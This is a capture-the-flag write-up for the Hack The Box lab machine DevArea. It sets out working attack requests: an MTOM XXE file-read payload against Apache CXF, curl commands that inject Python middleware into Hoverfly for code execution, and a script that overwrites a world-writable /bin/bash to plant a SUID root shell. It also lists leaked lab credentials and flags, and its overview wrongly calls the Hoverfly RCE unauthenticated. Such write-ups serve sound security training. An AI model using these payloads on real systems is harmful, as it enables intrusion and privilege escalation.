DevArea
Anonymous FTP exposed a Java SOAP service JAR; an MTOM XXE attack against the CXF endpoint leaked the Hoverfly admin password from a systemd unit file, then authenticated RCE via Hoverfly middleware yielded a shell as dev_ryan; privilege escalation exploited a world-writable /bin/bash by writing a SUID-creating wrapper triggered by a root-owned systemd timer.
contents

DevArea — HTB Writeup#
Machine Summary#
| Property | Value |
|---|---|
| Name | DevArea |
| IP | 10.129.15.4 |
| OS | Linux (Ubuntu) |
| Difficulty | Medium |
| Key Topics | Anonymous FTP, SOAP/MTOM XXE (CVE-2022-46364 style), Hoverfly middleware RCE, world-writable /bin/bash, systemd timer abuse |
Overview#
DevArea exposed an internal Java SOAP service via anonymous FTP. The JAR revealed an Apache CXF 3.2.14 SOAP endpoint susceptible to MTOM XOP Include XXE attacks, which was used to read arbitrary server files including the Hoverfly systemd unit file that contained admin credentials. Those credentials authenticated to the Hoverfly dashboard, whose middleware execution feature provided unauthenticated code execution as dev_ryan. Root was obtained by exploiting a world-writable /bin/bash binary: a malicious wrapper was placed there that a root-owned systemd timer fired every five minutes, dropping a SUID copy of bash reachable by any user.
Reconnaissance#
A full TCP port scan against 10.129.15.4 revealed six open ports.
nmap -p- --min-rate 5000 -T4 10.129.15.4
Service detection followed on the identified ports:
nmap -sC -sV -p 21,22,80,8080,8500,8888 10.129.15.4
Results:
21/tcp open ftp vsftpd 3.0.5 (anonymous login allowed)
22/tcp open ssh OpenSSH 9.6p1 Ubuntu
80/tcp open http Apache httpd 2.4.58 (redirects to http://devarea.htb/)
8080/tcp open http Jetty 9.4.27.v20200227
8500/tcp open http Golang net/http ("This is a proxy server")
8888/tcp open http Golang net/http (Hoverfly Dashboard)
The Golang service on port 8500 self-identified as a proxy server, and port 8888 served the Hoverfly dashboard — a service virtualisation tool. Both were noted as high-value targets once credentials were obtained.
Enumeration#
Anonymous FTP — employee-service.jar#
FTP allowed anonymous login and contained a single artefact in the pub/ directory:
ftp 10.129.15.4
> ls pub/
employee-service.jar (6.2 MB)
> get pub/employee-service.jar
The JAR was a Spring Boot/Apache CXF application. Static analysis of the decompiled sources confirmed:
- CXF version: 3.2.14 (released 2020)
- SOAP endpoint:
http://10.129.15.4:8080/employeeservice - WSDL: publicly accessible at
/employeeservice?wsdl - Operation:
submitReport— accepts aReportobject with fieldsconfidential(boolean),content(string),department(string),employeeName(string)
The WSDL confirmed the service consumed and reflected XML content, making it a candidate for XML injection attacks.
SOAP Endpoint — WSDL Analysis#
curl http://10.129.15.4:8080/employeeservice?wsdl
The WSDL defined a single binding operation, submitReport, with the content field passed as an unvalidated string into the XML processing pipeline. Standard DOCTYPE-based XXE was rejected outright by the CXF message interceptors. However, CXF 3.2.14 was known to be affected by an MTOM (Message Transmission Optimization Mechanism) XOP Include attack allowing file read without a DOCTYPE declaration.
Hoverfly on Port 8888#
Browsing to http://10.129.15.4:8888 served the Hoverfly v1.11.3 dashboard. All API endpoints returned HTTP 401, requiring credentials. Port 8500 was Hoverfly’s proxy listener — requests forwarded through it would be intercepted and processed according to the active Hoverfly simulation mode.
Exploitation — User Flag#
Step 1: MTOM XXE File Read (CVE-2022-46364 Style)#
Apache CXF 3.2.14 processes MTOM-encoded SOAP messages. The XOP Include mechanism, designed for embedding binary attachments, could be abused to trigger server-side file reads when the href attribute pointed to a file:// URI.
A crafted multipart SOAP request was sent to the endpoint:
POST /employeeservice HTTP/1.1
Host: 10.129.15.4:8080
Content-Type: multipart/related; type="application/xop+xml"; boundary="MIMEBoundary"; start="<rootpart@example.com>"; start-info="text/xml"
--MIMEBoundary
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: 8bit
Content-ID: <rootpart@example.com>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:emp="http://employeeservice.devarea.htb/">
<soapenv:Body>
<emp:submitReport>
<report>
<confidential>false</confidential>
<content><xop:Include xmlns:xop="http://www.w3.org/2004/08/xop/include"
href="file:///etc/passwd"/></content>
<department>IT</department>
<employeeName>test</employeeName>
</report>
</emp:submitReport>
</soapenv:Body>
</soapenv:Envelope>
--MIMEBoundary--
The response body contained the contents of /etc/passwd, confirming arbitrary file read. The passwd file showed a single non-system user: dev_ryan with home directory /home/dev_ryan.
Step 2: Reading Hoverfly Credentials via XXE#
With arbitrary file read established, the Hoverfly systemd unit file was targeted to retrieve credentials:
file:///etc/systemd/system/hoverfly.service
The service file contained:
[Service]
ExecStart=/usr/local/bin/hoverfly -pp 8500 -ap 8888 -username admin -password O7IJ27MyyXiU
Credentials obtained: admin:O7IJ27MyyXiU
Step 3: Hoverfly Middleware RCE#
Hoverfly’s middleware feature allows an operator to specify an executable script that processes every intercepted request and response. In “modify” mode, every request routed through the proxy passes through this script, which executes with the privileges of the Hoverfly process (dev_ryan).
Authentication to the Hoverfly API with the discovered credentials and configuration of a malicious Python middleware:
# Set Hoverfly to modify mode with inline Python middleware
curl -s -u admin:O7IJ27MyyXiU \
-X PUT http://10.129.15.4:8888/api/v2/hoverfly/mode \
-H 'Content-Type: application/json' \
-d '{"mode":"modify"}'
curl -s -u admin:O7IJ27MyyXiU \
-X PUT http://10.129.15.4:8888/api/v2/hoverfly/middleware \
-H 'Content-Type: application/json' \
-d '{"binary":"python3","script":"import sys,json,subprocess\nd=json.load(sys.stdin)\nd[\"response\"][\"body\"]=subprocess.check_output([\"id\"]).decode()\njson.dump(d,sys.stdout)"}'
# Trigger execution by sending any request through the proxy
curl -s -x http://10.129.15.4:8500 http://example.com
The response body contained:
uid=1001(dev_ryan) gid=1001(dev_ryan) groups=1001(dev_ryan)
RCE as dev_ryan was confirmed. The middleware script was updated to read the user flag:
import sys, json, subprocess
d = json.load(sys.stdin)
d["response"]["body"] = open("/home/dev_ryan/user.txt").read()
json.dump(d, sys.stdout)
User Flag: 8c8e7b2d99473dd8d7d908a618109a21
Privilege Escalation — Root Flag#
Step 1: System Enumeration via Middleware#
Post-exploitation enumeration was conducted by repeatedly updating the middleware script and triggering it via the proxy. Key findings:
/etc/syswatch.envcontained a second credential:admin:SyswatchAdmin2026for a syswatch web GUI on port 7777./bin/bashpermissions:-rwxrwxrwx— the bash binary was world-writable.systemctl list-timersshowedsyswatch-monitor.timerfiring every 5 minutes, executing/bin/bash /opt/syswatch/monitor.shasroot.
Step 2: World-Writable /bin/bash Exploitation via Systemd Timer#
The combination of a world-writable /bin/bash and a root-owned systemd timer that invoked /bin/bash was a clean escalation path.
Writing a new executable directly over /bin/bash would trigger “text file busy” if any process held the binary open. The approach used was to write a wrapper shell script that, when executed by root via the timer, created a SUID copy of the real bash binary at /tmp/rootbash.
Via the Hoverfly middleware:
import sys, json, subprocess
d = json.load(sys.stdin)
# Write wrapper to /bin/bash (world-writable)
payload = b'#!/bin/bash\ncp /usr/bin/bash /tmp/rootbash && chmod 4777 /tmp/rootbash\nexec /usr/bin/bash "$@"\n'
with open("/bin/bash", "wb") as f:
f.write(payload)
d["response"]["body"] = "done"
json.dump(d, sys.stdout)
After the 5-minute timer fired, /tmp/rootbash appeared with permissions -rwsrwxrwx and owner root.
/tmp/rootbash -p
# whoami
root
# cat /root/root.txt
5b7fad0e162101e888c7b998422eb145
Root Flag: 5b7fad0e162101e888c7b998422eb145
Obstacles & Lessons Learned#
DOCTYPE XXE Blocked by CXF#
Standard XXE using a DOCTYPE declaration (<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>) was rejected immediately by CXF’s XML security interceptors. The MTOM XOP Include vector was the correct bypass — it exploits the attachment-processing code path rather than the main XML parser, which has different security controls in older CXF versions.
Hoverfly “Text File Busy” on /bin/bash#
Initial attempts to overwrite /bin/bash with a compiled SUID binary failed with “text file busy” because the existing bash process was still in use. Writing a shell script wrapper (interpreted rather than executed as an ELF) avoided this constraint while still being invoked by the systemd timer as #!/bin/bash would be run via the kernel’s script interpreter.
Multiple PrivEsc Paths Investigated#
Two privilege escalation paths were identified and explored:
Syswatch log_message symlink injection (privesc agent): A symlink from
/opt/syswatch/logs/system.logto/root/.ssh/authorized_keys, combined with a sudo rule allowingdev_ryanto run/opt/syswatch/syswatch.sh, was used to write an SSH public key to root’sauthorized_keysfile via argument injection into thelog_messagefunction. This path also succeeded.World-writable /bin/bash + systemd timer (exploit agent): The approach documented in the main exploitation section above. This path required no sudo rights — only the world-writable binary and patience for the timer.
The world-writable /bin/bash path was the more straightforward and reliable of the two.
Tools Used#
| Tool | Purpose |
|---|---|
nmap | TCP port scan and service/version detection |
ftp (anonymous) | Downloaded employee-service.jar from the FTP pub directory |
jadx / JAR decompilation | Static analysis of the SOAP service JAR to identify CXF version and endpoint structure |
curl | WSDL retrieval, MTOM XXE SOAP requests, Hoverfly API interaction |
curl -x (proxy mode) | Triggered Hoverfly middleware execution by routing requests through port 8500 |
| Hoverfly API | Configured modify mode and injected Python middleware for RCE |
| Python3 (middleware) | Arbitrary command execution via Hoverfly middleware script |